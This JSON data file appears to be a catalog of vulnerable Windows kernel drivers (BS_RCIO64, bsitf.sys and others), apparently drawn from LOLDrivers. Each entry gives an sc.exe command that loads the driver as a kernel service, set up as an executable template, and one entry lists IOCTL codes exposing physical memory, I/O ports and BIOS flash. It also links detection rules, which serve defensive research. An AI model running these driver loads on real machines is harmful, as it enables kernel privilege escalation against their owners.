    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_HWMIo64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_HWMIo64.sys type=kernel && sc.exe start BS_HWMIo64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_HWMIo64.sys\"\n\n# BS_HWMIo64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-hwmio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create BS_HWMIo64.sys binPath=C:\\windows\\temp\\BS_HWMIo64.sys type=kernel && sc.exe start BS_HWMIo64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-hwmio64",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_HWMIo64.sys kernel driver",
        "commands": [
          "sc.exe create BS_HWMIo64.sys binPath=C:\\windows\\temp\\BS_HWMIo64.sys type=kernel && sc.exe start BS_HWMIo64.sys"
        ]
      }
    ],
    "name": "BS_HWMIo64.sys",
    "namespace": "windows:kernel:bs-hwmio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_HWMIO64_W10.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_HWMIO64_W10.sys     type=kernel && sc.exe start BS_HWMIO64_W10.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_HWMIO64_W10.sys\"\n\n# BS_HWMIO64_W10.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-hwmio64-w10.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/1d0397c263d51e9fc95bcc8baf98d1a853e1c0401cd0e27c7bf5da3fba1c93a8.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BS_HWMIO64_W10.sys binPath=C:\\windows\\temp\\BS_HWMIO64_W10.sys     type=kernel && sc.exe start BS_HWMIO64_W10.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-hwmio64-w10",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_HWMIO64_W10.sys kernel driver",
        "commands": [
          "sc.exe create BS_HWMIO64_W10.sys binPath=C:\\windows\\temp\\BS_HWMIO64_W10.sys     type=kernel && sc.exe start BS_HWMIO64_W10.sys"
        ]
      }
    ],
    "name": "BS_HWMIO64_W10.sys",
    "namespace": "windows:kernel:bs-hwmio64-w10",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_I2c64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_I2c64.sys type=kernel && sc.exe start BS_I2c64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_I2c64.sys\"\n\n# BS_I2c64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-i2c64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/55fee54c0d0d873724864dc0b2a10b38b7f40300ee9cae4d9baaf8a202c4049a.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BS_I2c64.sys binPath=C:\\windows\\temp\\BS_I2c64.sys type=kernel && sc.exe start BS_I2c64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-i2c64",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_I2c64.sys kernel driver",
        "commands": [
          "sc.exe create BS_I2c64.sys binPath=C:\\windows\\temp\\BS_I2c64.sys type=kernel && sc.exe start BS_I2c64.sys"
        ]
      }
    ],
    "name": "BS_I2c64.sys",
    "namespace": "windows:kernel:bs-i2c64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_I2cIo.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_I2cIo.sys type=kernel && sc.exe start BS_I2cIo.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_I2cIo.sys\"\n\n# BS_I2cIo.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-i2cio.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BS_I2cIo.sys binPath=C:\\windows\\temp\\BS_I2cIo.sys type=kernel && sc.exe start BS_I2cIo.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-i2cio",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_I2cIo.sys kernel driver",
        "commands": [
          "sc.exe create BS_I2cIo.sys binPath=C:\\windows\\temp\\BS_I2cIo.sys type=kernel && sc.exe start BS_I2cIo.sys"
        ]
      }
    ],
    "name": "BS_I2cIo.sys",
    "namespace": "windows:kernel:bs-i2cio",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_RCIO.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_RCIO.sys type=kernel && sc.exe start BS_RCIO.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_RCIO.sys\"\n\n# BS_RCIO.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-rcio.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create BS_RCIO.sys binPath=C:\\windows\\temp\\BS_RCIO.sys type=kernel && sc.exe start BS_RCIO.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-rcio",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_RCIO.sys kernel driver",
        "commands": [
          "sc.exe create BS_RCIO.sys binPath=C:\\windows\\temp\\BS_RCIO.sys type=kernel && sc.exe start BS_RCIO.sys"
        ]
      }
    ],
    "name": "BS_RCIO.sys",
    "namespace": "windows:kernel:bs-rcio",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      },
      {
        "label": "Reference",
        "url": "https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_RCIO64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_RCIO64.sys type=kernel && sc.exe start BS_RCIO64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_RCIO64.sys\"\n\n# BS_RCIO64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-rcio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/d205286bffdf09bc033c09e95c519c1c267b40c2ee8bab703c6a2d86741ccd3e.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BS_RCIO64.sys binPath=C:\\windows\\temp\\BS_RCIO64.sys type=kernel && sc.exe start BS_RCIO64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-rcio64",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_RCIO64.sys kernel driver",
        "commands": [
          "sc.exe create BS_RCIO64.sys binPath=C:\\windows\\temp\\BS_RCIO64.sys type=kernel && sc.exe start BS_RCIO64.sys"
        ]
      }
    ],
    "name": "BS_RCIO64.sys",
    "namespace": "windows:kernel:bs-rcio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/jbaines-r7/dellicious"
      },
      {
        "label": "Reference",
        "url": "https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/blob/932baf346cc8a743f1963ad3d4565b42ed17bebe/yara/rules/Windows_VulnDriver_Biostar.yar#L54"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_RCIOW1064.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_RCIOW1064.sys type=kernel && sc.exe start BS_RCIOW1064.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_RCIOW1064.sys\"\n\n# BS_RCIOW1064.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-rciow1064.md",
    "author": "Nasreddine Bencherchali",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "execution": {
      "template": "sc.exe create BS_RCIOW1064.sys binPath=C:\\windows\\temp\\BS_RCIOW1064.sys type=kernel && sc.exe start BS_RCIOW1064.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bs-rciow1064",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_RCIOW1064.sys kernel driver",
        "commands": [
          "sc.exe create BS_RCIOW1064.sys binPath=C:\\windows\\temp\\BS_RCIOW1064.sys type=kernel && sc.exe start BS_RCIOW1064.sys"
        ]
      }
    ],
    "name": "BS_RCIOW1064.sys",
    "namespace": "windows:kernel:bs-rciow1064",
    "platforms": [
      "windows"
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BS_RVSIO64 binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BS_RVSIO64.sys type=kernel && sc.exe start BS_RVSIO64\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BS_RVSIO64.sys\"\n\n# BS_RVSIO64.sys\n\nBS_RVSIO64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bs-rvsio64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "BS_RVSIO64.sys is a vulnerable kernel driver from the KeServiceDescriptorTable/vulnerable-drivers repository. The driver exposes dangerous kernel primitives to usermode.",
    "execution": {
      "template": "sc.exe create BS_RVSIO64 binPath=C:\\windows\\temp\\BS_RVSIO64.sys type=kernel && sc.exe start BS_RVSIO64",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "process-manip",
      "requires-root"
    ],
    "id": "windows-kernel-bs-rvsio64",
    "install": [
      {
        "method": "custom",
        "description": "Load BS_RVSIO64.sys kernel driver",
        "commands": [
          "sc.exe create BS_RVSIO64 binPath=C:\\windows\\temp\\BS_RVSIO64.sys type=kernel && sc.exe start BS_RVSIO64"
        ]
      }
    ],
    "name": "BS_RVSIO64.sys",
    "namespace": "windows:kernel:bs-rvsio64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create bsitf binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\bsitf.sys type=kernel && sc.exe start bsitf\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver bsitf.sys\"\n\n# bsitf.sys\n\nbsitf.sys is the ASUS BIOS Flash Driver distributed with ASUS WinFlash BIOS update utility. The driver persists on disk after WinFlash completes and exposes physical memory read via MmMapIoSpace (IOCTL 0x222804), physically contiguous kernel memory allocation mapped to usermode via MDL (IOCTL 0x222808), arbitrary I/O port write (IOCTL 0x222810) and read (IOCTL 0x222818), PCI config space read with BAR mapping to usermode (IOCTL 0x222814), and BIOS flash write via MmMapIoSpace (IOCTL 0x22281c). WHQL attestation signed via Microsoft Windows Third Party Component CA 2014. Device SDDL grants full access to Administrators group.\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bsitf.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "bsitf.sys is the ASUS BIOS Flash Driver distributed with ASUS WinFlash BIOS update utility. The driver persists on disk after WinFlash completes and exposes physical memory read via MmMapIoSpace (IOCTL 0x222804), physically contiguous kernel memory allocation mapped to usermode via MDL (IOCTL 0x222808), arbitrary I/O port write (IOCTL 0x222810) and read (IOCTL 0x222818), PCI config space read with BAR mapping to usermode (IOCTL 0x222814), and BIOS flash write via MmMapIoSpace (IOCTL 0x22281c)...",
    "execution": {
      "template": "sc.exe create bsitf binPath=C:\\windows\\temp\\bsitf.sys type=kernel && sc.exe start bsitf",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "pipes-stdout",
      "requires-root"
    ],
    "id": "windows-kernel-bsitf",
    "install": [
      {
        "method": "custom",
        "description": "Load bsitf.sys kernel driver",
        "commands": [
          "sc.exe create bsitf binPath=C:\\windows\\temp\\bsitf.sys type=kernel && sc.exe start bsitf"
        ]
      }
    ],
    "name": "bsitf.sys",
    "namespace": "windows:kernel:bsitf",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/issues/325"
      },
      {
        "label": "Reference",
        "url": "https://github.com/magicsword-io/LOLDrivers/pull/332"
      },
      {
        "label": "Reference",
        "url": "https://github.com/KeServiceDescriptorTable/vulnerable-drivers"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BSMEMx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BSMEMx64.sys type=kernel && sc.exe start BSMEMx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BSMEMx64.sys\"\n\n# BSMEMx64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bsmemx64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BSMEMx64.sys binPath=C:\\windows\\temp\\BSMEMx64.sys type=kernel && sc.exe start BSMEMx64.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bsmemx64",
    "install": [
      {
        "method": "custom",
        "description": "Load BSMEMx64.sys kernel driver",
        "commands": [
          "sc.exe create BSMEMx64.sys binPath=C:\\windows\\temp\\BSMEMx64.sys type=kernel && sc.exe start BSMEMx64.sys"
        ]
      }
    ],
    "name": "BSMEMx64.sys",
    "namespace": "windows:kernel:bsmemx64",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BSMI.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BSMI.sys type=kernel && sc.exe start BSMI.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BSMI.sys\"\n\n# BSMI.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bsmi.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/59626cac380d8fe0b80a6d4c4406d62ba0683a2f0f68d50ad506ca1b1cf25347.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      },
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/yara-rules_vuln_drivers_strict_renamed.yar"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
      }
    ],
    "execution": {
      "template": "sc.exe create BSMI.sys binPath=C:\\windows\\temp\\BSMI.sys type=kernel && sc.exe start BSMI.sys",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": true
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-kernel-bsmi",
    "install": [
      {
        "method": "custom",
        "description": "Load BSMI.sys kernel driver",
        "commands": [
          "sc.exe create BSMI.sys binPath=C:\\windows\\temp\\BSMI.sys type=kernel && sc.exe start BSMI.sys"
        ]
      }
    ],
    "name": "BSMI.sys",
    "namespace": "windows:kernel:bsmi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://github.com/elastic/protections-artifacts/search?q=VulnDriver"
      },
      {
        "label": "Reference",
        "url": "https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md"
      }
    ],
    "risk_level": "high",
    "techniques": [
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Load the kernel driver\"\n    command: \"sc.exe create BSMIx64.sys binPath=C:\\\\\\\\windows\\\\\\\\temp\\\\\\\\BSMIx64.sys type=kernel && sc.exe start BSMIx64.sys\"\n  - description: \"Exploit the driver for privilege escalation\"\n    command: \"Exploit.exe --driver BSMIx64.sys\"\n\n# BSMIx64.sys\n\n**Use Case:** Elevate privileges\n\n**Required Privileges:** kernel\n\n**MITRE ATT&CK:** T1068\n",
    "_source": "windows-kernel-bsmix64.md",
    "author": "Michael Haag",
    "capabilities": [
      "security.privilegeescalation.kernel-exploit"
    ],
    "description": "Elevate privileges",
    "detections": [
      {
        "type": "yara",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/yara/552f70374715e70c4ade591d65177be2539ec60f751223680dfaccb9e0be0ed9.yara"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers.yml"
      },
      {
        "type": "sigma",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sigma/driver_load_win_vuln_drivers_names.yml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes.xml"
      },
      {
        "type": "sysmon",
        "url": "https://github.com/magicsword-io/LOLDrivers/blob/main/detections/sysmon/sysmon_config_vulnerable_hashes_block.xml"
